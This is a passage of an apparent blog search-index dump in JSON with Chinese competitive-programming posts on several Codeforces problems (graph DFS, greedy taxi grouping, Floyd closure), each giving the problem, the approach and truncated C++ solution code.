i++) 61 { 62 int x,y,z; 63 cin\u003e\u003ex\u003e\u003ey\u003e\u003ez; 64 edge[x].push_back(make_pair(y,z)); 65 edge[y].push_back(make_pair(x,z)); 66 // cnt[x][y].insert(z); 67 // cnt[y][x].insert(z); 68 } 69 scanf(\"%d\",\u0026q); 70 for ( int i = 0 ; i \u003c q ; i ++) 71 { 72 int u,v; 73 scanf(\"%d %d\",\u0026u,\u0026v); 74 int re","date":"2015-12-07","externalUrl":null,"permalink":"/2015/12/cf505b/","section":"Posts","summary":"http://codeforces.com/contest/505/problem/B 题意；给一个图，边有颜色。给q个查询，每个查询一对点x,y。问只经过某种颜色的边使得x能到y颜色数目。 思路：存颜色的时候卡了下。。本来打算开一个二维的set用来存颜色。。。没想明白。。后来发现。。还是用vecotr就好啊。。。多开一维度vector。。或者。。vector 用 pair 都是可以的。。。因为颜色数不多。。可以暴力枚举每种颜色做一遍dfs 看只走有这条颜色的边x能否到y。。","tags":["brute force","dfs"],"title":"codeforces 505 B. Mr. Kitayuta's Colorful Graph","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/status 题意：n行m列的道路网络。共n*m条道路。每条道路都是单向的.问从任何一个路口出发能否到达其他的任何一个路口。 思路：需要注意的是。我从A点能到达B点，不代表B也能到达A.也就是说，某些点满足可以遍历所有点是不够的，只有当所有点都满足才可以。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月07日 星期一 08时55分48秒 4File Name :code/cf/problem/475B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=25; 34int n,m; 35bool vis[N][N]; 36char hor[N],ver[N]; 37 38bool direrror (char ch,int d) 39{ 40 if (ch=='v'\u0026\u0026d==3) return true; 41 if (ch=='^'\u0026\u0026d==0) return true; 42 43 if (ch=='\u003c'\u0026\u0026d==2) return true; 44 if (ch=='\u003e'\u0026\u0026d==1) return true; 45 46 return false; 47} 48 49bool ok ( int x,int y) 50{ 51 if (x\u003e=0\u0026\u0026x\u003cn\u0026\u0026y\u003e=0\u0026\u0026y\u003cm\u0026\u0026!vis[x][y]) return true; 52 return false; 53} 54 55 56void dfs ( int x,int y) 57{ 58 vis[x][y] = true; 59 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 60 for ( int i = 0 ; i \u003c 4 ; i++) 61 { 62 if (direrror(hor[x],i)) continue; 63 if (direrror(ver[y],i)) continue; 64 65 int nx = x + dx4[i]; 66 int ny = y + dy4[i]; 67 if (ok(nx,ny)) 68 { 69 dfs(nx,ny); 70 } 71 } 72} 73 74bool solve ( int x,int y) 75{ 76 ms(vis,false); 77 dfs(x,y); 78 for ( int i = 0 ; i \u003c n ; i++) 79 for ( int j = 0 ; j \u003c m; j ++) 80 if (!vis[i][j]) return false; 81 return true; 82 83} 84int main","date":"2015-12-07","externalUrl":null,"permalink":"/2015/12/cf475b/","section":"Posts","summary":"http://codeforces.com/problemset/status 题意：n行m列的道路网络。共n*m条道路。每条道路都是单向的.问从任何一个路口出发能否到达其他的任何一个路口。","tags":["brute force","dfs"],"title":"codeforces 475 B. Strongly Connected City","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/158/B 题意：n组人，每组有si个（1\u003c=si\u003c=4），每辆车能装4个人。问最少需要多少辆车装下所有人并且保证同一组的人在一辆车里。 思路：统计人数分别为1,2,3,4的人数。对于4的直接加到答案。贪心的思路是：优先用人数少的去填人数多的。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月06日 星期日 17时34分21秒 4File Name :code/cf/problem/158B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int s[N]; 36int ans; 37int cnt[5]; 38 39void print() 40{ 41 printf(\"%d %d %d %d %d\\n\",cnt[1],cnt[2],cnt[3],cnt[4],ans); 42} 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47#endif 48 49 cin\u003e\u003en; 50 ms(cnt,0); 51 ans = 0 ; 52 for ( int i = 0 ;i \u003c n ;i++) 53 { 54 cin\u003e\u003es[i]; 55 cnt[s[i]]++; 56 } 57 58 // printf(\"%d %d %d %d\\n\",cnt[1],cnt[2],cnt[3],cnt[4]); //贪心思路：人数少的优先取和优先多的拼车。 59 // cout\u003c\u003ccnt[1]\u003c\u003c\" \"\u003c\u003ccnt[2]\u003c\u003c\" \"\u003c\u003ccnt[3]\u003c\u003c\" \"\u003c\u003ccnt[4]\u003c\u003cendl; 60 ans += cnt[4]; 61 ans += cnt[3]; 62 cnt[1] -= cnt[3]; 63 cnt[1] = max(0,cnt[1]); 64 // print(); 65 66 int tmp = min(cnt[2],cnt[1]/2); 67 ans += tmp; 68 cnt[2] -= tmp; 69 cnt[1] -= 2*tmp; 70 // print(); 71 72 cnt[1] = max(0,cnt[1]); 73 if (cnt[2]==0) 74 { 75 ans +=cnt[1]/4; 76 cnt[1] %= 4; 77 if (cnt[1]\u003e0) ans++; 78 } 79 else 80 { 81 ans += cnt[2]/2; 82 cnt[2] %=2; 83 if (cnt[1]|","date":"2015-12-06","externalUrl":null,"permalink":"/2015/12/158b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/158/B 题意：n组人，每组有si个（1\u003c=si\u003c=4），每辆车能装4个人。问最少需要多少辆车装下所有人并且保证同一组的人在一辆车里。 思路：统计人数分别为1,2,3,4的人数。对于4的直接加到答案。贪心的思路是：优先用人数少的去填人数多的。","tags":["greedy","模拟"],"title":"codeforces 158 B. Taxi","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/510/problem/B 题意：给定一个maze,用不同的字母代表不同的颜色。问能否找到一个颜色相同的环（失少四个点组成） 思路：dfs一遍，如果遇到之前已经访问过的点，说明成环。需要注意的是，要注意由一个点向某方向移动，然后由反方向移动到该点所造成的误判。所以dfs除了要知道当前的坐标x,y，还要记录之前的坐标px,py. 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 21时35分07秒 4File Name :code/cf/problem/510B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=55; 34int n,m; 35char maze[N][N]; 36bool vis[N][N]; 37bool flag; 38 39 40bool inmaze( int x,int y) 41{ 42 if (x\u003e=0\u0026\u0026x\u003cn\u0026\u0026y\u003e=0\u0026\u0026y\u003cm) return true; 43 return false; 44} 45void dfs( int x,int y,int px,int py) //要记录当前的x,y是由哪里来的。把因为由px,py到x,y再回到px,py引起的误判剔除。 46{ //判cycle方式为：到达一个之前已经到达过的点。 47 vis[x][y] = true; 48 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003c\" cur:\"\u003c\u003ccur\u003c\u003cendl; 49 if (flag) return; 50 for ( int i = 0 ; i \u003c 4 ; i++) 51 { 52 int nx = x + dx4[i] ; 53 int ny = y + dy4[i] ; 54 if (nx==px\u0026\u0026ny==py) continue; 55 if (inmaze(nx,ny)\u0026\u0026maze[nx][ny]==maze[x][y]) 56 { 57 if (!vis[nx][ny]) 58 { 59 dfs(nx,ny,x,y); 60 } 61 else 62 { 63 flag = true; 64 return ; 65 } 66 } 67 } 68 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"code/in.txt\",\"r\",stdin); 74 #endif 75 76 scanf(\"%d %d\",\u0026n,\u0026m); 77 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",maze[i]); 78 ms(vis","date":"2015-12-06","externalUrl":null,"permalink":"/2015/12/cf510b/","section":"Posts","summary":"http://codeforces.com/contest/510/problem/B 题意：给定一个maze,用不同的字母代表不同的颜色。问能否找到一个颜色相同的环（失少四个点组成） 思路：dfs一遍，如果遇到之前已经访问过的点，说明成环。需要注意的是，要注意由一个点向某方向移动，然后由反方向移动到该点所造成的误判。所以dfs除了要知道当前的坐标x,y，还要记录之前的坐标px,py.","tags":["dfs"],"title":"codeforces 510 B. Fox And Two Dots","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/277/problem/A 题意：有n个人，每个人会一定数目的语言（可能为0），一个人学一门语言的代价为1，人和人之间沟通可以通过任意个中间人翻译。问最少的代价使得这n个人可以相互沟通。 思路：建图方式如下：第i个人会语言j，那么连上i和j+n。然后跑一遍dfs,使得1..n这n个点都被访问过。 结果wa4…觉得算法没问题。。看了官方题解。。发现果然有情况没有考虑到。如果所有的人都什么语言都不会的话，那么答案是不能-1的。。因为。。语言和语言之间不能连边。。改了之后A了。。有点开心。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 20时55分14秒 4File Name :code/cf/problem/277A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E2+5; 34int n,m; 35vector\u003cint\u003eedge[N]; 36bool vis[N]; 37 38void dfs( int x) 39{ 40 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003cendl; 41 vis[x] = true; 42 for ( int i = 0 ; i \u003c edge[x].size(); i ++) 43 { 44 int v = edge[x][i]; 45// cout\u003c\u003c\"v:\"\u003c\u003cv\u003c\u003cendl; 46 if (!vis[v]) 47 { 48 dfs(v); 49 } 50 } 51} 52int main() 53{ 54 #ifndef ONLINE_JUDGE 55 freopen(\"code/in.txt\",\"r\",stdin); 56 #endif 57 58 scanf(\"%d %d\",\u0026n,\u0026m); 59 int p = 0; 60 for ( int i = 1 ; i \u003c= n ; i++) 61 { 62 int k ; 63 scanf(\"%d\",\u0026k); 64 if (k!=0) p = -1; 65 for ( int j = 0 ; j \u003c k ; j++) 66 { 67 int x; 68 scanf(\"%d\",\u0026x); 69 edge[i].push_back(x+n); 70 edge[x+n].push_back(i); 71 } 72 } 73 int cnt = 0 ; 74 ms(vis,false); 75 for ( int i = 1 ; i \u003c= n ; i++) 76 { 77 if (!vis[i]) 78 { 79 dfs(i); 80 cnt++; 81 } 82 } 83 cout\u003c\u003ccn","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf277a/","section":"Posts","summary":"http://codeforces.com/contest/277/problem/A 题意：有n个人，每个人会一定数目的语言（可能为0），一个人学一门语言的代价为1，人和人之间沟通可以通过任意个中间人翻译。问最少的代价使得这n个人可以相互沟通。","tags":["dfs","tree"],"title":"codeforces 277 A. Learning Languages","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/217/A 题意：有n个雪漂（那是啥？，从某个雪漂出发走直线，只有到达另一个雪飘才能停下来。问最少需要添加多少个雪漂，才能使得可以到达任何一个雪漂。 思路：横坐标相同或者纵坐标相同的两个点之间是可以到达的。先O(N2)扫一遍建图。记录这个森林中数的个数为cnt,cnt-1即为答案。因为对于任意两个不能相互到达的点。我们只需要再来一个雪漂就可以使得这两个点相互到达。 一遍AC，有点爽。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 20时18分23秒 4File Name :code/problem/217A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35bool vis[N]; 36int x[N],y[N]; 37 38vector\u003cint\u003eedge[N]; 39 40void dfs( int x) 41{ 42 vis[x] = true; 43 for ( int i = 0 ; i \u003c edge[x].size() ; i++) 44 { 45 int v = edge[x][i]; 46 if (!vis[v]) 47 { 48 dfs(v); 49 } 50 } 51} 52int main() 53{ 54 #ifndef ONLINE_JUDGE 55 freopen(\"code/in.txt\",\"r\",stdin); 56 #endif 57 58 scanf(\"%d\",\u0026n); 59 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%d %d\",\u0026x[i],\u0026y[i]); 60 61 for ( int i = 0 ; i \u003c n-1 ; i++) 62 { 63 for ( int j = i+1 ; j \u003c n ; j++) 64 { 65 if (x[i]==x[j]) 66 { 67 edge[i].push_back(j); 68 edge[j].push_back(i); 69 } 70 if (y[i]==y[j]) 71 { 72 edge[i].push_back(j); 73 edge[j].push_back(i); 74 } 75 76 } 77 } 78 ms(vis,false); 79 int cnt = 0 ; 80 for ( int i = 0 ; i \u003c n ; i++) 81 { 82 if (!vis[i]) 83 { 84 dfs(i); 85 cnt++; 86 } 87 } 88 cout\u003c\u003ccnt-1\u003c\u003cen","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf217a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/217/A 题意：有n个雪漂（那是啥？，从某个雪漂出发走直线，只有到达另一个雪飘才能停下来。问最少需要添加多少个雪漂，才能使得可以到达任何一个雪漂。 思路：横坐标相同或者纵坐标相同的两个点之间是可以到达的。先O(N2)扫一遍建图。记录这个森林中数的个数为cnt,cnt-1即为答案。因为对于任意两个不能相互到达的点。我们只需要再来一个雪漂就可以使得这两个点相互到达。","tags":["dfs","tree"],"title":"codeforces 217A ice skating","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/445/problem/B 题意：一共有n种化学药品。m对关系，每对关系表示为x,y表示x和y相互反应。初始容器的danger值为1，当向容器中加入一个化学药品A,如果容器中存在化学药品和A反应，那么容器的danger值翻倍。否则不变。问一个最优的放置药品的顺序。 思路：容易发现。如果两个药品相互反应就连一条边。实际上这些药品构成了一个森林。而一个节点只要不是树的根节点，那么它在任何位置，对答案的贡献度都是*2.反过来说。所有的节点，只有根节点是对答案没有贡献的。那实际上，我们只需要dfs一遍，得到树的数目，用n减去树的数目，就是对答案有贡献的点的数目。 要注意开long long 。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 17时13分51秒 4File Name :code/cf/problem/445/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25using namespace std; 26const double eps = 1E-8; 27const int dx4[4]={1,0,0,-1}; 28const int dy4[4]={0,-1,1,0}; 29const int inf = 0x3f3f3f3f; 30const int N=55; 31bool vis[N]; 32int n,m; 33vector\u003cint\u003eedge[N]; 34LL ans; 35LL tree_num; 36void dfs( int cur) 37{ 38 39 vis[cur] = true; 40 for ( int i = 0 ; i \u003c edge[cur].size(); i++) 41 { 42 int v = edge[cur][i]; 43 if (!vis[v]) 44 { 45 dfs(v); 46 } 47 } 48} 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"code/in.txt\",\"r\",stdin); 53 #endif 54 55 scanf(\"%d %d\",\u0026n,\u0026m); 56 ms(vis,false); 57 for ( int i = 0 ; i \u003c m ; i++) 58 { 59 int u,v; 60 scanf(\"%d %d\",\u0026u,\u0026v); 61 edge[u].push_back(v); 62 edge[v].push_back(u); 63 } 64 tree_num = 0 ; 65 for ( int i = 1 ; i \u003c= n ; i++) 66 { 67 if (!vis[i]) 68 { 69 dfs(i); 70 tree_num++; 71 } 72 } 73 ans = 1; 74 ans = (LL)(1)\u003c\u003c(LL(n-tree_num)); 75 cout\u003c\u003cans\u003c\u003cendl; 76 77 #ifndef ONLINE_J","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf445b/","section":"Posts","summary":"http://codeforces.com/contest/445/problem/B 题意：一共有n种化学药品。m对关系，每对关系表示为x,y表示x和y相互反应。初始容器的danger值为1，当向容器中加入一个化学药品A,如果容器中存在化学药品和A反应，那么容器的danger值翻倍。否则不变。问一个最优的放置药品的顺序。","tags":["dfs","tree"],"title":"codeforces 445 B. DZY Loves Chemistry","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/522/A 题意：给定某条消息的传播路径。问最远传播的距离。。 思路：其实就是问树的深度。。直接dfs就行了。。 存的时候用map\u003cstring,vector \u003e mp;的方式存即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 16时41分41秒 4File Name :code/cf/problem/522A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E2+7; 34map\u003cstring,vector\u003cstring\u003e \u003e mp; 35map\u003cstring,bool\u003evis; 36string from,to,nouse; 37int ans; 38int n; 39 40void dfs(string cur,int depth) 41{ 42// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003c\" depth:\"\u003c\u003cdepth\u003c\u003cendl; 43 vis[cur] = true; 44 ans = max(ans,depth); 45 for ( int i = 0 ; i \u003c mp[cur].size() ; i++) 46 { 47 string v = mp[cur][i]; 48 if (!vis[v]) 49 dfs(v,depth+1); 50 } 51} 52 53string tran(string x) 54{ 55 int len = x.length(); 56 for ( int i = 0 ; i \u003c len ; i++) 57 { 58 if (x[i]\u003e='A'\u0026\u0026x[i]\u003c='Z') 59 { 60 x[i] = char(x[i]+32); 61 } 62 } 63 return x; 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 mp.clear(); 71 scanf(\"%d\",\u0026n); 72// getchar(); 73 for ( int i = 0 ; i \u003c n ; i++) 74 { 75 cin\u003e\u003eto\u003e\u003enouse\u003e\u003efrom; 76 to = tran(to); 77 from = tran(from); 78// getchar(); 79 // cout\u003c\u003c\"to:\"\u003c\u003cto\u003c\u003cendl\u003c\u003c\" nouse:\"\u003c\u003cnouse\u003c\u003cendl\u003c\u003c\" from:\"\u003c\u003cfrom\u003c\u003cendl; 80 mp[from].push_back(to); ","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf522a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/522/A 题意：给定某条消息的传播路径。问最远传播的距离。。 思路：其实就是问树的深度。。直接dfs就行了。。","tags":["dfs","map"],"title":"codeforces 522 A. Reposts","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/500/problem/B 题意：给定一个1至n的数的一种排列。给定一个n*n的矩阵，a[i][j]==0代表pi,pj不可以交换，a[i][j]为1代表p[i],p[j]可以交换。 问字典序最小的排列。。 思路：把矩阵看成图的关系。。反正n很小。。跑一遍floyd..得到可以间接交换的点。。然后冒泡排序就好。。只有p[i]\u003ep[j]并且a[i][j]的时候交换。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 15时00分14秒 4File Name :code/cf/problem/500B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34char ok[N][N]; 35int p[N]; 36int n; 37int a[N][N]; 38void print() 39{ 40 for ( int i = 0 ; i \u003c n ;i++) printf(\"%d \",p[i]); 41} 42void floyd() 43{ 44 for ( int k = 0 ; k \u003c n ;k ++) 45 for ( int i = 0 ; i \u003c n ; i++) 46 for ( int j = 0 ; j \u003c n ; j++) 47 if (a[i][j]==-1\u0026\u0026a[i][k]==1\u0026\u0026a[k][j]==1) 48 a[i][j] = 1; 49} 50int main() 51{ 52 #ifndef ONLINE_JUDGE 53 freopen(\"code/in.txt\",\"r\",stdin); 54 #endif 55 scanf(\"%d\",\u0026n); 56 ms(a,-1); 57 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%d\",\u0026p[i]); 58 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",ok[i]); 59 60 for ( int i = 0 ; i \u003c n ; i ++) 61 { 62 for ( int j = 0 ; j \u003c n ; j++) 63 { 64 if (ok[i][j]=='1') 65 { 66 a[i][j] = 1; 67 // a[j][i] = 1; 68 } 69 } 70 } 71 floyd(); 72 for ( int i = 0 ; i \u003c n-1 ; i++) 73 for ( int j = i+1 ; j \u003c n ;j++) 74 if (p[i]\u003ep[j]\u0026\u0026a[i][j]==1) 75 { 76 s","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf500b/","section":"Posts","summary":"http://codeforces.com/contest/500/problem/B 题意：给定一个1至n的数的一种排列。给定一个n*n的矩阵，a[i][j]==0代表pi,pj不可以交换，a[i][j]为1代表p[i],p[j]可以交换。 问字典序最小的排列。。","tags":["floyd"],"title":"codeforces 500 B. New Year Permutation","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/377/problem/A 题意：给定一个n*m的maze. ‘.’代表空，‘#’代表墙。要求构造一种方案，使得将k个空格填成墙壁后不影响当前的连通性（即没有被填充的空格之间可以相互到达） 思路：一开始想从上往下从左往右构造。错误的认为四个角一定是可以变成墙的。 但其实只要是可能在某条路径上的点，就都不一定可以变成墙。。而四个角显然可以被某条路径经过。 正确的解法很巧妙。以任意一个空格开始跑一遍dfs，设空格一共有sum个，那么就dfs到(sum-k)个。可以做好标记。通过dfs得到的这（sum-k）之间一定是联通的。那么只要填充剩下的就可以了。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 14时06分54秒 4File Name :code/cf/problem/377A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E2+7; 34char maze[N][N]; 35bool vis[N][N]; 36int n,m,k; 37int sx,sy; 38int sum; 39int num; 40bool flag = false; 41bool ok ( int x,int y) 42{ 43 if (x\u003e=0\u0026\u0026y\u003e=0\u0026\u0026x\u003c=n-1\u0026\u0026y\u003c=m-1\u0026\u0026maze[x][y]=='.'\u0026\u0026!vis[x][y]) return true; 44 return false; 45} 46 47void dfs( int x,int y) 48{ 49 vis[x][y] = true; 50 maze[x][y]='R'; 51 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003c\" num:\"\u003c\u003cnum\u003c\u003c\" sum:\"\u003c\u003csum\u003c\u003cendl; 52 if (num\u003e=sum-k) 53 { 54 return; 55 } 56 for ( int i = 0 ; i \u003c 4 ; i++) 57 { 58 int nx = x + dx4[i]; 59 int ny = y + dy4[i]; 60 if (num\u003e=sum-k) break; 61 if (ok(nx,ny)) 62 { 63 num++; 64 dfs(nx,ny); 65 } 66 } 67} 68 69void print() 70{ 71 for ( int i = 0 ; i \u003c n; i++) printf(\"%s\\n\",maze[i]); 72} 73int main() 74{ 75 #ifndef ONLINE_JUDGE 76 freopen(\"code/","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf377a/","section":"Posts","summary":"http://codeforces.com/contest/377/problem/A 题意：给定一个n*m的maze. ‘.’代表空，‘#’代表墙。要求构造一种方案，使得将k个空格填成墙壁后不影响当前的连通性（即没有被填充的空格之间可以相互到达） 思路：一开始想从上往下从左往右构造。错误的认为四个角一定是可以变成墙的。","tags":["dfs","构造"],"title":"codeforces 377 A maze","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/129/problem/B 题意：n个点。m条边。每一次会将图中度为1的点加入到等待队列中。然后一起删掉，记为一次操作。当删掉一个点的时候，与它相连的边也全部删掉。问一共做进行多少次操作。使得图中不再有度为1的点。 思路：重点是用开一个数组deg[i]记录点i的度。这样比用.size()高明太多。。因为我们并不需要知道具体删了哪条边。我们只要知道与点i相连的点的边数因为点i被删除而减少了1. 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 10时55分46秒 4File Name :code/cf/problem/129B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,m; 35vector\u003cint\u003eedge[N]; 36int deg[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(deg,0); 43 scanf(\"%d %d\",\u0026n,\u0026m); 44 for ( int i = 0 ; i \u003c m ; i++) 45 { 46 int u,v; 47 scanf(\"%d 